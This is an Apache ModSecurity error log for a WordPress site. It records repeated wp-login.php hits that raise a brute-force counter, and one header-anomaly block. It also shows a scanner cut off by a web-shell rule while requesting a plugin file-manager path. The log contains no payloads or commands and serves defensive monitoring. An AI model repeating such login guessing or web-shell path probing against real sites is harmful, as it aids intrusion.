[Wed Apr 22 21:00:07.571856 2026] [:error] [pid 23776:tid 23800] [client 136.144.35.247:30137] [client 136.144.35.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejGV7RExf-1pAbSeJvy2AAAAZY"]
[Wed Apr 22 21:14:03.200585 2026] [:error] [pid 9085:tid 9095] [client 173.239.240.100:41321] [client 173.239.240.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejJm9-_-or9vQnlWnp6NgAAAUg"]
[Wed Apr 22 21:14:03.201020 2026] [:error] [pid 9085:tid 9088] [client 173.239.240.94:41243] [client 173.239.240.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejJm9-_-or9vQnlWnp6NwAAAUE"]
[Wed Apr 22 21:19:13.330774 2026] [:error] [pid 9085:tid 9106] [client 65.254.225.224:44088] [client 65.254.225.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejK0d-_-or9vQnlWnp-5gAAAVM"]
[Wed Apr 22 21:19:16.990760 2026] [:error] [pid 9085:tid 9111] [client 65.254.225.224:44088] [client 65.254.225.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejK1N-_-or9vQnlWnp--wAAAVg"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 21:29:14.919127 2026] [:error] [pid 6384:tid 6387] [client 173.239.240.32:46431] [client 173.239.240.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejNKj58M3t15ICeWHVRCQAAAMA"]
[Wed Apr 22 21:29:14.919151 2026] [:error] [pid 6251:tid 6294] [client 173.239.240.98:46999] [client 173.239.240.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejNKisFAzbyObL-SQ6FhgAAAIk"]
[Wed Apr 22 21:43:41.738547 2026] [:error] [pid 6251:tid 6287] [client 173.239.240.32:49463] [client 173.239.240.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejQjSsFAzbyObL-SQ6IRwAAAII"]
[Wed Apr 22 21:43:41.751497 2026] [:error] [pid 6384:tid 6406] [client 173.239.240.96:59833] [client 173.239.240.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejQjT58M3t15ICeWHVa8QAAANM"]
[Wed Apr 22 21:58:49.299192 2026] [:error] [pid 6384:tid 6397] [client 136.144.35.253:57871] [client 136.144.35.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejUGT58M3t15ICeWHVmhwAAAMo"]
[Wed Apr 22 21:58:52.462994 2026] [:error] [pid 6250:tid 6263] [client 136.144.35.246:26765] [client 136.144.35.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejUHA-iZeQkqmQVfj4exAAAAEk"]
[Wed Apr 22 22:00:40.952904 2026] [:error] [pid 6384:tid 6406] [client 223.178.218.109:35066] [client 223.178.218.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.178.218.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejUiD58M3t15ICeWHVnewAAANM"]
[Wed Apr 22 22:15:55.404808 2026] [:error] [pid 6344:tid 6355] [client 136.144.35.245:50587] [client 136.144.35.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejYG0DOTF-pkQnDeUkLgQAAAAY"]
[Wed Apr 22 22:15:55.987679 2026] [:error] [pid 6344:tid 6369] [client 136.144.35.244:60421] [client 136.144.35.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejYG0DOTF-pkQnDeUkLgwAAABQ"]
[Wed Apr 22 22:32:19.571047 2026] [:error] [pid 6344:tid 6366] [client 136.144.35.249:35307] [client 136.144.35.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejb80DOTF-pkQnDeUkPYwAAABE"]
[Wed Apr 22 22:32:19.582547 2026] [:error] [pid 6344:tid 6372] [client 136.144.35.251:30121] [client 136.144.35.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejb80DOTF-pkQnDeUkPZAAAABc"]
[Wed Apr 22 22:36:07.104313 2026] [:error] [pid 23776:tid 23794] [client 108.143.187.241:10000] [client 108.143.187.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.143.187.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejc17RExf-1pAbSeJsd6AAAAZA"]
[Wed Apr 22 22:36:10.669919 2026] [:error] [pid 23776:tid 23786] [client 57.153.168.195:10000] [client 57.153.168.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.153.168.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejc2rRExf-1pAbSeJsd8wAAAYg"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 22:49:00.586936 2026] [:error] [pid 9085:tid 9109] [client 173.239.240.31:44535] [client 173.239.240.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejf3N-_-or9vQnlWnrKXAAAAVY"]
[Wed Apr 22 22:49:00.609159 2026] [:error] [pid 9085:tid 9099] [client 173.239.240.93:25525] [client 173.239.240.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejf3N-_-or9vQnlWnrKXQAAAUw"]
[Wed Apr 22 22:50:59.172109 2026] [:error] [pid 9085:tid 9094] [client 103.142.255.218:42184] [client 103.142.255.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.142.255.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejgU9-_-or9vQnlWnrLRQAAAUc"]
[Wed Apr 22 22:55:29.619608 2026] [:error] [pid 6384:tid 6390] [client 119.152.232.220:53246] [client 119.152.232.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 119.152.232.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejhYT58M3t15ICeWHWHggAAAMM"]
[Wed Apr 22 22:55:33.407488 2026] [:error] [pid 9085:tid 9107] [client 119.152.232.220:53262] [client 119.152.232.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 119.152.232.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejhZd-_-or9vQnlWnrNcQAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 23:05:48.966378 2026] [:error] [pid 9085:tid 9094] [client 136.144.35.247:57341] [client 136.144.35.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejjzN-_-or9vQnlWnrUuQAAAUc"]
[Wed Apr 22 23:05:48.966682 2026] [:error] [pid 6252:tid 6327] [client 136.144.35.250:61333] [client 136.144.35.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejjzOtGYuiYb1nWBpRm9wAAAQ8"]
[Wed Apr 22 23:15:51.259899 2026] [:error] [pid 6344:tid 6368] [client 143.110.142.50:52916] [client 143.110.142.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.142.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejmJ0DOTF-pkQnDeUkYswAAABM"]
[Wed Apr 22 23:15:55.375064 2026] [:error] [pid 6344:tid 6367] [client 143.110.142.50:52916] [client 143.110.142.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.142.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejmK0DOTF-pkQnDeUkYuQAAABI"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 23:20:59.195356 2026] [:error] [pid 6384:tid 6405] [client 136.144.35.250:35095] [client 136.144.35.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejnWz58M3t15ICeWHWRYQAAANI"]
[Wed Apr 22 23:20:59.203394 2026] [:error] [pid 6384:tid 6403] [client 173.239.240.98:58451] [client 173.239.240.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejnWz58M3t15ICeWHWRYgAAANA"]
[Wed Apr 22 23:29:55.585379 2026] [:error] [pid 6344:tid 6365] [client 157.20.82.7:55252] [client 157.20.82.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.20.82.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejpc0DOTF-pkQnDeUkbrAAAABA"]
[Wed Apr 22 23:30:02.336192 2026] [:error] [pid 6384:tid 6395] [client 157.20.82.7:59242] [client 157.20.82.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.20.82.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejpej58M3t15ICeWHWUxQAAAMg"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 23:35:46.885370 2026] [:error] [pid 6384:tid 6410] [client 136.144.35.250:24683] [client 136.144.35.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejq0j58M3t15ICeWHWXtQAAANc"]
[Wed Apr 22 23:35:46.885374 2026] [:error] [pid 6384:tid 6405] [client 173.239.240.32:56245] [client 173.239.240.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejq0j58M3t15ICeWHWXtgAAANI"]
[Wed Apr 22 23:50:03.882360 2026] [:error] [pid 6384:tid 6392] [client 98.156.100.191:40676] [client 98.156.100.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.156.100.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejuKz58M3t15ICeWHWchwAAAMU"]
[Wed Apr 22 23:50:08.676634 2026] [:error] [pid 6384:tid 6394] [client 98.156.100.191:40676] [client 98.156.100.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.156.100.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejuMD58M3t15ICeWHWckgAAAMc"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 23:50:43.360928 2026] [:error] [pid 6384:tid 6406] [client 136.144.35.253:59113] [client 136.144.35.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejuUz58M3t15ICeWHWcxQAAANM"]
[Wed Apr 22 23:50:43.363914 2026] [:error] [pid 6384:tid 6395] [client 136.144.35.243:32385] [client 136.144.35.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejuUz58M3t15ICeWHWcxgAAAMg"]
[Thu Apr 23 00:05:47.677646 2026] [:error] [pid 6384:tid 6392] [client 136.144.35.249:48063] [client 136.144.35.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejx2z58M3t15ICeWHWkIgAAAMU"]
[Thu Apr 23 00:05:47.682764 2026] [:error] [pid 6384:tid 6394] [client 136.144.35.244:50345] [client 136.144.35.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejx2z58M3t15ICeWHWkIwAAAMc"]
[Thu Apr 23 00:21:21.436828 2026] [:error] [pid 23776:tid 23791] [client 136.144.35.250:48393] [client 136.144.35.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aej1gbRExf-1pAbSeJs_eQAAAY0"]
[Thu Apr 23 00:21:21.436995 2026] [:error] [pid 23776:tid 23786] [client 136.144.35.248:29717] [client 136.144.35.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aej1gbRExf-1pAbSeJs_egAAAYg"]
[Thu Apr 23 00:27:28.395696 2026] [:error] [pid 6384:tid 6390] [client 170.106.180.246:37702] [client 170.106.180.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aej28D58M3t15ICeWHWv4AAAAMM"]
[Thu Apr 23 00:37:00.865395 2026] [:error] [pid 6384:tid 6397] [client 136.144.35.245:20773] [client 136.144.35.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aej5LD58M3t15ICeWHW0FwAAAMo"]
[Thu Apr 23 00:37:00.874783 2026] [:error] [pid 6384:tid 6394] [client 136.144.35.250:33345] [client 136.144.35.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aej5LD58M3t15ICeWHW0GAAAAMc"]
[Thu Apr 23 00:52:15.780167 2026] [:error] [pid 6384:tid 6389] [client 173.239.240.96:34863] [client 173.239.240.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aej8vz58M3t15ICeWHW7TAAAAMI"]
[Thu Apr 23 00:52:15.782250 2026] [:error] [pid 6384:tid 6400] [client 136.144.35.243:64325] [client 136.144.35.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aej8vz58M3t15ICeWHW7TQAAAM0"]
[Thu Apr 23 00:53:24.087183 2026] [:error] [pid 6384:tid 6408] [client 172.81.117.83:34932] [client 172.81.117.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.81.117.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aej9BD58M3t15ICeWHW7ugAAANU"]
[Thu Apr 23 00:53:26.966370 2026] [:error] [pid 6384:tid 6393] [client 172.81.117.83:34932] [client 172.81.117.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.81.117.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aej9Bj58M3t15ICeWHW7vQAAAMY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 01:07:23.273595 2026] [:error] [pid 23776:tid 23781] [client 173.239.240.32:61227] [client 173.239.240.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekAS7RExf-1pAbSeJtRaQAAAYM"]
[Thu Apr 23 01:07:24.278665 2026] [:error] [pid 6250:tid 6256] [client 173.239.240.99:36039] [client 173.239.240.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekATA-iZeQkqmQVfj5DywAAAEI"]
[Thu Apr 23 01:07:47.596713 2026] [:error] [pid 23776:tid 23798] [client 172.213.234.59:22810] [client 172.213.234.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aekAY7RExf-1pAbSeJtRnAAAAZQ"]
[Thu Apr 23 01:07:48.536559 2026] [:error] [pid 6384:tid 6408] [client 172.213.234.59:22816] [client 172.213.234.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aekAZD58M3t15ICeWHXBagAAANU"]
[Thu Apr 23 01:07:49.502879 2026] [:error] [pid 6384:tid 6390] [client 172.213.234.59:16890] [client 172.213.234.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aekAZT58M3t15ICeWHXBcQAAAMM"]
[Thu Apr 23 01:07:50.637456 2026] [:error] [pid 6384:tid 6401] [client 172.213.234.59:16833] [client 172.213.234.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aekAZj58M3t15ICeWHXBdwAAAM4"]
[Thu Apr 23 01:12:20.457591 2026] [:error] [pid 6250:tid 6262] [client 18.136.107.149:56292] [client 18.136.107.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.136.107.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekBdA-iZeQkqmQVfj5FQgAAAEg"]
[Thu Apr 23 01:12:23.332534 2026] [:error] [pid 6250:tid 6278] [client 18.136.107.149:56292] [client 18.136.107.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.136.107.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekBdw-iZeQkqmQVfj5FTQAAAFg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 01:16:00.893140 2026] [:error] [pid 6252:tid 6320] [client 66.175.239.195:60414] [client 66.175.239.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.239.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekCUOtGYuiYb1nWBpR-JwAAAQg"]
[Thu Apr 23 01:22:15.659747 2026] [:error] [pid 6252:tid 6318] [client 136.144.35.249:23595] [client 136.144.35.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aekDx-tGYuiYb1nWBpR_WgAAAQY"]
